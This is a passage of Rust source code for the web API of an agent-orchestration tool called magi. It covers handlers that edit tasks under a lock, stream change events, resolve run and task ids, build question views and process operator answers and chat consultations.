7269        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7270        ui.queue
7271            .remove(&id, in_flight, &ui.questions)
7272            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7273        Ok(StatusCode::NO_CONTENT)
7274    })
7275    .await
7276}
7277
7278/// Read a task, change it, write it back, under the queue's own lock.
7279///
7280/// Taking the same claim a daemon takes is what makes hold, release,
7281/// priority, edit, and done safe to press while magi is running: without it
7282/// the daemon's next save would land on top of the operator's change and
7283/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7284/// both do, for a running task - and that refusal becomes the 4xx the card
7285/// shows, same as any other domain rule.
7286async fn mutate(
7287    ui: Arc<Ui>,
7288    id: String,
7289    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7290) -> ApiResult<Json<TaskView>> {
7291    blocking(move || {
7292        let id = resolve_task(&ui.queue, &id)?;
7293        // `claim` fails when the lock file already exists, which is the
7294        // conflict the UI must report: the daemon owns that task's file for
7295        // as long as it is running it, and our write would be lost under its
7296        // next save. The message names the lock either way.
7297        let _claim = ui.queue.claim(&id).map_err(|e| {
7298            ApiError::conflict(format!(
7299                "{e:#} - a daemon is running this task, so it cannot be \
7300                 changed from here yet; wait until it is released, then retry"
7301            ))
7302        })?;
7303        let mut task = ui.queue.get(&id)?;
7304        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7305            Ok(dup) => ApiError::conflict(dup.render(
7306                "Nothing was saved. If it is not a duplicate, repeat the request with \
7307                 \"force\": true.",
7308            )),
7309            Err(e) => ApiError::bad_request_from(e),
7310        })?;
7311        ui.queue.put(&mut task)?;
7312        Ok(Json(TaskView::from(task)))
7313    })
7314    .await
7315}
7316
7317/// The change stream: one revision number per store, on connect and whenever
7318/// any of them moves.
7319///
7320/// One shared worker scans stores; clients only forward its notifications.
7321async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7322    ui.monitor.ensure_worker(&ui);
7323    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7324    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7325
7326    let state = Arc::clone(&ui);
7327    tokio::spawn(async move {
7328        let initial_revisions = {
7329            let guard = match state.monitor.latest.lock() {
7330                Ok(g) => g,
7331                Err(p) => p.into_inner(),
7332            };
7333            guard.as_ref().map(|(r, _)| *r)
7334        };
7335        if let Some(revisions) = initial_revisions {
7336            let initial_payload = serde_json::json!({
7337                "queue_rev": revisions.0,
7338                "runs_rev": revisions.1,
7339                "questions_rev": revisions.2,
7340                "talks_rev": revisions.3,
7341                "notifications_rev": revisions.4,
7342                "loop_rev": revisions.5,
7343            });
7344
7345            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7346                if tx.send(event).await.is_err() {
7347                    return;
7348                }
7349            }
7350        }
7351
7352        loop {
7353            match tokio::select! {
7354                _ = tx.closed() => return,
7355                value = broadcast_rx.recv() => value,
7356            } {
7357                Ok(notif) => {
7358                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7359                    else {
7360                        break;
7361                    };
7362                    if tx.send(event).await.is_err() {
7363                        break;
7364                    }
7365                }
7366                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7367                    let revs = {
7368                        let guard = match state.monitor.latest.lock() {
7369                            Ok(g) => g,
7370                            Err(p) => p.into_inner(),
7371                        };
7372                        guard.as_ref().map(|(r, _)| *r)
7373                    };
7374                    if let Some(revs) = revs {
7375                        let payload = serde_json::json!({
7376                            "queue_rev": revs.0,
7377                            "runs_rev": revs.1,
7378                            "questions_rev": revs.2,
7379                            "talks_rev": revs.3,
7380                            "notifications_rev": revs.4,
7381                            "loop_rev": revs.5,
7382                        });
7383                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7384                            if tx.send(event).await.is_err() {
7385                                break;
7386                            }
7387                        }
7388                    }
7389                }
7390                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7391                    break;
7392                }
7393            }
7394        }
7395    });
7396
7397    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7398        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7399}
7400
7401/// Run ids under `runs`, newest first.
7402///
7403/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7404/// which reads the process-global home: the server has to be drivable against
7405/// a temp directory for any of this to be testable.
7406fn run_ids(runs: &FsPath) -> Vec<String> {
7407    let mut ids: Vec<String> = std::fs::read_dir(runs)
7408        .into_iter()
7409        .flatten()
7410        .flatten()
7411        .filter(|e| e.path().join("run.json").is_file())
7412        .map(|e| e.file_name().to_string_lossy().into_owned())
7413        .collect();
7414    // Ids start with a sortable timestamp.
7415    ids.sort_unstable_by(|a, b| b.cmp(a));
7416    ids
7417}
7418
7419/// Read one run's state from an explicit runs root.
7420fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7421    let path = runs.join(id).join("run.json");
7422    let body =
7423        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7424    let state: RunState =
7425        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7426    // The same migration `RunState::load` applies, so a record from the
7427    // previous schema reads here as it does everywhere else (an origin-less
7428    // run shows as "origin unknown") instead of vanishing from the phone the
7429    // moment the schema is bumped.
7430    run::migrate_schema(state)
7431}
7432
7433/// Runs on disk under `runs` whose state this build cannot parse - almost
7434/// always a schema bump, occasionally a run killed mid-write.
7435///
7436/// Exposed so every surface that reports on runs shares one count instead of
7437/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7438/// `magi doctor` calls this directly rather than guessing at the same number
7439/// a second way.
7440#[must_use]
7441pub fn runs_unreadable(runs: &FsPath) -> usize {
7442    run_ids(runs)
7443        .into_iter()
7444        .filter(|id| read_run(runs, id).is_err())
7445        .count()
7446}
7447
7448fn plain_record_id(id: &str) -> bool {
7449    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7450}
7451
7452/// Expand an id or short id to exactly one run id.
7453fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7454    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7455        return Ok(id.to_owned());
7456    }
7457    pick(run_ids(runs), id, "run")
7458}
7459
7460/// Expand an id or short id to exactly one task id.
7461fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7462    if plain_record_id(id) && queue.path_of(id).is_file() {
7463        return Ok(id.to_owned());
7464    }
7465    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7466    pick(ids, id, "task")
7467}
7468
7469/// A question as the phone reads it.
7470///
7471/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7472/// text already parsed into a node tree so the client never runs its own
7473/// markdown reader over agent-authored prose. A relative image path in it
7474/// resolves against this question's own panel asset route, which is the one
7475/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7476/// separate, sandboxed document, but `detail` is rendered inline in the
7477/// operator's own page, so an image reference in it may only ever point at
7478/// files magi itself already serves for this question.
7479#[derive(Debug, Serialize)]
7480struct QuestionView {
7481    choice_effects: std::collections::BTreeMap<String, String>,
7482    record_revision: String,
7483    #[serde(flatten)]
7484    question: Question,
7485    detail_md: Vec<md::Node>,
7486    posting_view: Option<PostingView>,
7487    /// Each thread turn's body, parsed; same order as `question.thread`.
7488    thread_bodies_md: Vec<Vec<md::Node>>,
7489    /// Each thread turn's deputy note, parsed (`None` for a turn without
7490    /// one); same order as `question.thread`.
7491    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7492    /// Is the ball in the agent's court right now?
7493    ///
7494    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7495    /// [`Question::say`] - so this is the one field that tells the phone to
7496    /// disable the answer controls and show "waiting for the agent" instead of
7497    /// a card the owner can act on. Computed rather than stored on
7498    /// [`Question`] itself, on the same reasoning as `waiting` on
7499    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7500    /// it here means the client never has to re-derive that rule.
7501    waiting_on_agent: bool,
7502    /// Who is waiting on this open question - see [`holder_of`]. Separate
7503    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7504    /// anyone is there to take it.
7505    holder: Option<&'static str>,
7506    /// Whether `magi serve` can start a follow-up agent for a conductor
7507    /// question at all: false when `daemon.max_deputies = 0` or the config is
7508    /// unreadable. Separate from `holder`, which says who is listening now.
7509    deputies_enabled: bool,
7510    /// All starts were spent and no live holder remains. Display-only: the
7511    /// final attempt increments `starts` before running under its lease.
7512    deputy_exhausted: bool,
7513    text_delivery: crate::question_delivery::Availability,
7514    /// `question.run` is a task id (conductor / triage questions), not a run
7515    /// id, so the UI links it to the task page.
7516    run_is_task: bool,
7517    /// The existing chat this question's task came from, including settled
7518    /// questions - see [`crate::consult::associated_talk`].
7519    origin_chat: Option<String>,
7520    /// `origin_chat` is closed; consulting reopens it first.
7521    origin_chat_closed: bool,
7522    /// Consultation eligibility is separate from navigation to the chat.
7523    can_consult_chat: bool,
7524}
7525
7526#[derive(Debug, Serialize)]
7527struct PostingView {
7528    before_md: Vec<md::Node>,
7529    after_md: Vec<md::Node>,
7530    fields: Vec<crate::github_text::ComparisonView>,
7531}
7532
7533fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7534    let comparison = question.posting_comparison.as_ref()?;
7535    if !comparison.matches_detail(&question.detail) {
7536        return None;
7537    }
7538    let mut ids = std::collections::BTreeSet::new();
7539    if comparison.fields.is_empty()
7540        || comparison
7541            .fields
7542            .iter()
7543            .flat_map(|f| &f.pairs)
7544            .any(|p| !ids.insert(p.id))
7545        || comparison
7546            .fields
7547            .iter()
7548            .flat_map(|f| &f.original_triggers)
7549            .any(|t| !ids.insert(t.id))
7550    {
7551        return None;
7552    }
7553    let fields = comparison
7554        .fields
7555        .iter()
7556        .map(|f| f.view(comparison.excerpt))
7557        .collect::<Option<Vec<_>>>()?;
7558    Some(PostingView {
7559        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7560        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7561        fields,
7562    })
7563}
7564
7565impl QuestionView {
7566    /// The view of `question`, reading who is waiting on it from `store`.
7567    ///
7568    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7569    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7570        let base = md::ImageBase::QuestionPanel {
7571            id: question.id.clone(),
7572        };
7573        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7574        Self {
7575            choice_effects: question
7576                .choices
7577                .iter()
7578                .filter_map(|c| {
7579                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7580                })
7581                .collect(),
7582            record_revision: question_record_revision(&question),
7583            detail_md: md::to_nodes(&question.detail, &base),
7584            posting_view: posting_view(&question, &base),
7585            thread_bodies_md: question
7586                .thread
7587                .iter()
7588                .map(|t| md::to_nodes(&t.body, &base))
7589                .collect(),
7590            thread_notes_md: question
7591                .thread
7592                .iter()
7593                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7594                .collect(),
7595            deputy_exhausted: store.deputy_exhausted(&question),
7596            waiting_on_agent: question.waiting_on_agent(),
7597            holder,
7598            deputies_enabled: deputies_enabled(cfg, &question),
7599            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7600            run_is_task: question.run_names_task(),
7601            origin_chat: None,
7602            origin_chat_closed: false,
7603            can_consult_chat: false,
7604            question,
7605        }
7606    }
7607
7608    /// Fill `origin_chat` from the queue and the talks.
7609    fn with_origin(
7610        mut self,
7611        tasks: &[crate::queue::Task],
7612        talks: &[Talk],
7613        watches: &[crate::release_watch::WatchState],
7614    ) -> Self {
7615        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7616        self.can_consult_chat = consult.is_some();
7617        let talk =
7618            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7619        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7620        self.origin_chat = talk.map(|t| t.id);
7621        self
7622    }
7623}
7624
7625/// The config this repository resolves, or `None` when it cannot be read.
7626/// Discovering is git processes plus a config render, so a request that needs
7627/// it for many items takes it once and passes it down.
7628fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7629    Config::discover(repo, None).ok().map(|(c, _)| c)
7630}
7631
7632/// Can `magi serve` start a deputy for this question under `cfg`?
7633fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7634    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7635}
7636
7637/// The views `GET /api/questions` answers. `load` runs at most once, however
7638/// many questions there are, and not at all when there are none.
7639fn question_views(
7640    qs: Vec<Question>,
7641    store: &ask::Questions,
7642    load: impl FnOnce() -> Option<Config>,
7643) -> Vec<QuestionView> {
7644    if qs.is_empty() {
7645        return Vec::new();
7646    }
7647    let cfg = load();
7648    qs.into_iter()
7649        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7650        .collect()
7651}
7652
7653/// Who is honestly waiting on an open question right now: `"asker"` (the
7654/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7655/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7656/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7657/// up, or the question never had anyone listening (a conductor question or a
7658/// merge approval from before deputies, or not yet given one).
7659///
7660/// `None` for a question that is settled, and for one that is not an agent's
7661/// to wait on at all (a release notice).
7662fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7663    if !q.status.open() {
7664        return None;
7665    }
7666    if q.cwd.is_none()
7667        && q.deputy.is_none()
7668        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7669    {
7670        return crate::deputy::kind_of(q).map(|_| "nobody");
7671    }
7672    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7673        Some(_) if q.deputy.is_some() => "deputy",
7674        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7675        Some(_) => "asker",
7676        None => "nobody",
7677    })
7678}
7679
7680/// `GET /api/questions`.
7681///
7682/// Everything, not just the open ones: an answered question is the record of a
7683/// decision, and the phone is where the operator goes back to check what they
7684/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7685async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7686    blocking(move || {
7687        let questions = ui.questions.list();
7688        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7689        Ok(Json(
7690            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7691                .into_iter()
7692                .map(|view| view.with_origin(&tasks, &talks, &watches))
7693                .collect(),
7694        ))
7695    })
7696    .await
7697}
7698
7699/// Question content and answer controls never wait for task/chat provenance.
7700async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7701    blocking(move || {
7702        Ok(Json(question_views(
7703            ui.questions.list(),
7704            &ui.questions,
7705            || deputy_config(&ui.repo),
7706        )))
7707    })
7708    .await
7709}
7710
7711fn question_record_revision(question: &Question) -> String {
7712    use std::hash::{Hash as _, Hasher as _};
7713    let mut hash = std::hash::DefaultHasher::new();
7714    serde_json::to_vec(question)
7715        .expect("serializable question")
7716        .hash(&mut hash);
7717    format!("{:016x}", hash.finish())
7718}
7719
7720#[derive(Serialize)]
7721struct QuestionOriginView {
7722    id: String,
7723    record_revision: String,
7724    origin_chat: Option<String>,
7725    origin_chat_closed: bool,
7726    can_consult_chat: bool,
7727}
7728
7729async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7730    blocking(move || {
7731        let questions = ui.questions.list();
7732        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7733        Ok(Json(
7734            questions
7735                .into_iter()
7736                .map(|question| {
7737                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7738                    let can_consult_chat = consult.is_some();
7739                    let talk = crate::consult::associated_talk_with_watches(
7740                        &tasks, &talks, &question, &watches,
7741                    );
7742                    QuestionOriginView {
7743                        record_revision: question_record_revision(&question),
7744                        id: question.id,
7745                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7746                        origin_chat: talk.map(|talk| talk.id),
7747                        can_consult_chat,
7748                    }
7749                })
7750                .collect(),
7751        ))
7752    })
7753    .await
7754}
7755
7756type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7757
7758/// Only the task ancestry and chats these questions actually reference. Run
7759/// mappings share the reconciled queue index; exact task references bypass it.
7760/// No question means no task/chat I/O, including no index reconciliation.
7761fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7762    fn task_for_run(
7763        ui: &Ui,
7764        index: &mut Option<Vec<Arc<TaskRelation>>>,
7765        run: &str,
7766        loaded: &HashMap<String, Task>,
7767    ) -> ApiResult<Option<Task>> {
7768        if !plain_record_id(run) {
7769            return Ok(None);
7770        }
7771        if index.is_none() {
7772            *index = Some(ui.indexed_tasks()?);
7773        }
7774        Ok(index
7775            .as_ref()
7776            .expect("loaded index")
7777            .iter()
7778            .find(|task| task.runs.iter().any(|id| id == run))
7779            .and_then(|task| {
7780                loaded
7781                    .get(&task.id)
7782                    .cloned()
7783                    .or_else(|| ui.queue.get(&task.id).ok())
7784            })
7785            .filter(|task| task.runs.iter().any(|id| id == run)))
7786    }
7787    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7788        plain_record_id(id)
7789            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7790            .flatten()
7791            .filter(|task| task.id == id)
7792    };
7793    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7794    let mut index = None;
7795    let mut tasks = HashMap::new();
7796    let mut talks = HashMap::new();
7797    for question in questions {
7798        for reference in crate::consult::question_task_refs(question, &watches) {
7799            let mut current = match reference {
7800                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7801                crate::consult::QuestionTaskRef::Run(id) => {
7802                    task_for_run(ui, &mut index, id, &tasks)?
7803                }
7804            };
7805            let mut seen = HashSet::new();
7806            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7807                let Some(task) = current.take() else {
7808                    break;
7809                };
7810                if !seen.insert(task.id.clone()) {
7811                    break;
7812                }
7813                let chat = task.chat_talk().map(str::to_owned);
7814                let followup = task.followup.clone();
7815                tasks.insert(task.id.clone(), task);
7816                if let Some(chat) = chat {
7817                    if plain_record_id(&chat)
7818                        && !talks.contains_key(&chat)
7819                        && let Ok(talk) = ui.talks.get(&chat)
7820                    {
7821                        talks.insert(chat, talk);
7822                    }
7823                    break;
7824                }
7825                let Some(followup) = followup else {
7826                    break;
7827                };
7828                current = match followup.origin_task {
7829                    Some(id) => direct_task(&id, &tasks),
7830                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7831                };
7832            }
7833        }
7834    }
7835    let mut tasks: Vec<Task> = tasks.into_values().collect();
7836    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7837    Ok((tasks, talks.into_values().collect(), watches))
7838}
7839
7840/// `GET /api/notifications`: not dismissed, newest first, with the unread
7841/// count so the badge and the list cannot disagree.
7842async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7843    blocking(move || {
7844        let items = ui.notices.list();
7845        let unread = items.iter().filter(|n| n.unread()).count();
7846        let items: Vec<_> = items
7847            .into_iter()
7848            .map(|n| {
7849                let question = crate::notices::answerable_question(&n, &ui.questions);
7850                let mut item = serde_json::to_value(n)?;
7851                item["answerable_question"] = serde_json::json!(question);
7852                Ok(item)
7853            })
7854            .collect::<anyhow::Result<_>>()?;
7855        Ok(Json(
7856            serde_json::json!({ "unread": unread, "items": items }),
7857        ))
7858    })
7859    .await
7860}
7861
7862fn notice_error(e: anyhow::Error) -> ApiError {
7863    // An unknown or malformed id and a vanished file are the same answer to
7864    // the phone: that notification is gone.
7865    ApiError::not_found(format!("{e:#}"))
7866}
7867
7868/// `POST /api/notifications/{id}/read`.
7869async fn notification_read(
7870    State(ui): State<Arc<Ui>>,
7871    Path(id): Path<String>,
7872) -> ApiResult<Json<Notice>> {
7873    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7874}
7875
7876/// `POST /api/notifications/{id}/dismiss`.
7877async fn notification_dismiss(
7878    State(ui): State<Arc<Ui>>,
7879    Path(id): Path<String>,
7880) -> ApiResult<Json<Notice>> {
7881    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7882}
7883
7884/// `POST /api/notifications/read-all`.
7885async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7886    blocking(move || {
7887        let changed = ui.notices.mark_all_read()?;
7888        Ok(Json(serde_json::json!({ "marked": changed })))
7889    })
7890    .await
7891}
7892
7893/// The body of `POST /api/questions/{id}/answer`.
7894///
7895/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7896/// a bad request rather than a guess: an answer magi invented is worse than a
7897/// question left open.
7898#[derive(Debug, Default, Deserialize)]
7899#[serde(default, deny_unknown_fields)]
7900struct NewAnswer {
7901    choice: Option<String>,
7902    text: Option<String>,
7903    talk: Option<String>,
7904    head: Option<String>,
7905}
7906
7907async fn question_answer(
7908    State(ui): State<Arc<Ui>>,
7909    Path(id): Path<String>,
7910    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7911) -> ApiResult<Json<QuestionView>> {
7912    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7913    let answer = match (body.choice, body.text) {
7914        (Some(c), None) => Answer::Choice(c),
7915        (None, Some(t)) => Answer::Text(t),
7916        (Some(_), Some(_)) => {
7917            return Err(ApiError::bad_request(
7918                "send either `choice` or `text`, not both",
7919            ));
7920        }
7921        (None, None) => {
7922            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7923        }
7924    };
7925
7926    blocking(move || {
7927        let id = resolve_question(&ui.questions, &id)?;
7928        let q = ui
7929            .questions
7930            .get(&id)
7931            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7932        if !q.status.open() {
7933            // Answered from the terminal, or by another phone, in between the
7934            // list and the tap. The UI shows the recorded answer rather than an
7935            // error, so it needs the record, not just the status.
7936            return Err(ApiError::conflict(format!(
7937                "question {} is already {}",
7938                q.short(),
7939                q.status.as_str()
7940            )));
7941        }
7942        // `Question::answer` owns the rules - an unoffered choice, free text on
7943        // a multiple-choice question, an empty reply - so the route does not
7944        // restate them and cannot drift from the CLI's behaviour.
7945        let cfg = deputy_config(&ui.repo);
7946        let (q, ()) = ui
7947            .questions
7948            .update(&q.id, |r| {
7949                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7950                // Buttons retain their displayed chat/head binding. A direct
7951                // decision does not require a button or a prior persona offer.
7952                if r.routed_task.is_some()
7953                    && r.merge_target.is_some()
7954                    && merge
7955                    && (body.talk.is_some() || body.head.is_some())
7956                {
7957                    let talk_id = body
7958                        .talk
7959                        .as_deref()
7960                        .context("approval button requires its chat")?;
7961                    let head = body
7962                        .head
7963                        .as_deref()
7964                        .context("approval button requires the displayed head")?;
7965                    let talk = ui.talks.get(talk_id)?;
7966                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
7967                    r.answer_chat_button(answer, talk_id, head)
7968                } else {
7969                    r.answer(answer)
7970                }
7971            })
7972            .map_err(ApiError::bad_request_from)?;
7973        let (tasks, talks, watches) =
7974            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7975        Ok(Json(
7976            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7977        ))
7978    })
7979    .await
7980}
7981
7982/// A dedicated status avoids the client's settled-question 409 handling.
7983fn question_text_error(e: anyhow::Error) -> ApiError {
7984    let reason = e
7985        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7986        .map(|e| e.reason);
7987    let error = ApiError::bad_request_from(e);
7988    if let Some(reason) = reason {
7989        ApiError {
7990            text_reason: Some(reason),
7991            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7992        }
7993    } else {
7994        error
7995    }
7996}
7997
7998/// The body of `POST /api/questions/{id}/say`.
7999#[derive(Debug, Deserialize)]
8000#[serde(deny_unknown_fields)]
8001struct NewSay {
8002    body: String,
8003}
8004
8005/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8006///
8007/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8008/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8009/// file, so there is no turn to serialize against and no
8010/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8011/// is a *different* process - the run parked behind `magi ask` - and picks
8012/// the reply up on its own poll of the very same file, same as an answer
8013/// does.
8014async fn question_say(
8015    State(ui): State<Arc<Ui>>,
8016    Path(id): Path<String>,
8017    body: std::result::Result<Json<NewSay>, JsonRejection>,
8018) -> ApiResult<Json<QuestionView>> {
8019    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8020    blocking(move || {
8021        let id = resolve_question(&ui.questions, &id)?;
8022        let q = ui
8023            .questions
8024            .get(&id)
8025            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8026        if !q.status.open() {
8027            // Same granularity as `question_answer`: answered or abandoned in
8028            // between the list and the tap is not this route's error to
8029            // explain any differently.
8030            return Err(ApiError::conflict(format!(
8031                "question {} is already {}",
8032                q.short(),
8033                q.status.as_str()
8034            )));
8035        }
8036        // `Question::say` owns the one rule that matters here - an empty
8037        // message tells the agent nothing - so the route does not restate it.
8038        let cfg = deputy_config(&ui.repo);
8039        let (q, ()) = ui
8040            .questions
8041            .update(&q.id, |r| {
8042                if body.body.trim().is_empty() {
8043                    return r.say(body.body);
8044                }
8045                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8046                r.say(body.body)
8047            })
8048            .map_err(question_text_error)?;
8049        let (tasks, talks, watches) =
8050            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8051        Ok(Json(
8052            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8053        ))
8054    })
8055    .await
8056}
8057
8058/// A disconnected request or a replacing listener cannot interrupt the short
8059/// transaction between persistence and detached worker publication.
8060async fn admitted<T: Send + 'static>(
8061    admission: AdmissionGuard,
8062    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8063) -> ApiResult<T> {
8064    tokio::spawn(async move {
8065        let result = work.await;
8066        drop(admission);
8067        result
8068    })
8069    .await
8070    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8071}
8072
8073/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8074/// came from. The question stays open: the chat agent answers it with `magi
8075/// answer`, or puts the decision to the owner in the conversation.
8076///
8077/// Answers 202 and runs the turn in the background, like every route that
8078/// spends agent calls. The text is queued as a draft of the existing talk, and
8079/// the turn goes through the talk's own gate and session; no seat or waiter is
8080/// started here.
8081async fn question_consult(
8082    State(ui): State<Arc<Ui>>,
8083    Path(id): Path<String>,
8084) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8085    let admission = ui.begin_admission()?;
8086    admitted(admission, async move {
8087        let (q, tasks, talks, watches, talk, cfg) = blocking({
8088            let ui = Arc::clone(&ui);
8089            move || {
8090                let id = resolve_question(&ui.questions, &id)?;
8091                let q = ui.questions.get(&id).map_err(|e| {
8092                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8093                })?;
8094                if !q.status.open() {
8095                    return Err(ApiError::conflict(format!(
8096                        "question {} is already {}",
8097                        q.short(),
8098                        q.status.as_str()
8099                    )));
8100                }
8101                let (tasks, talks, watches) =
8102                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8103                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8104                    return Err(ApiError::conflict(format!(
8105                        "question {} has no chat to ask",
8106                        q.short()
8107                    )));
8108                };
8109                // Read the config before `begin` saves anything: a failure here
8110                // must leave no consult record or draft behind, or a retry would
8111                // see `fresh == false` and never start the turn.
8112                let cfg = if q.consult.is_none() {
8113                    Some(Config::discover(&talk.repo, None)?.0)
8114                } else {
8115                    None
8116                };
8117                Ok((q, tasks, talks, watches, talk, cfg))
8118            }
8119        })
8120        .await?;
8121        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8122            .await
8123            .map_err(ApiError::from)?;
8124        let (view, reclaimed, submitted) = blocking({
8125            let ui = Arc::clone(&ui);
8126            move || {
8127                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8128                let claim = if fresh {
8129                    match ui.begin_queued_talk_turn(&talk.id)? {
8130                        Some(turn_guard) => {
8131                            let talk = ui.talks.get(&talk.id)?;
8132                            let cfg = match cfg {
8133                                Some(cfg) => cfg,
8134                                None => Config::discover(&talk.repo, None)?.0,
8135                            };
8136                            Some((talk, cfg, turn_guard))
8137                        }
8138                        None => None,
8139                    }
8140                } else {
8141                    None
8142                };
8143                let q = ui.questions.get(&q.id)?;
8144                let cfg = deputy_config(&ui.repo);
8145                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8146                    .with_origin(&tasks, &talks, &watches);
8147                Ok((view, claim, fresh.then_some(talk.id)))
8148            }
8149        })
8150        .await?;
8151        #[cfg(not(test))]
8152        {
8153            if let Some(id) = submitted {
8154                crate::consult::spawn_turn(&ui.talks, &id)
8155                    .await
8156                    .map_err(ApiError::from)?;
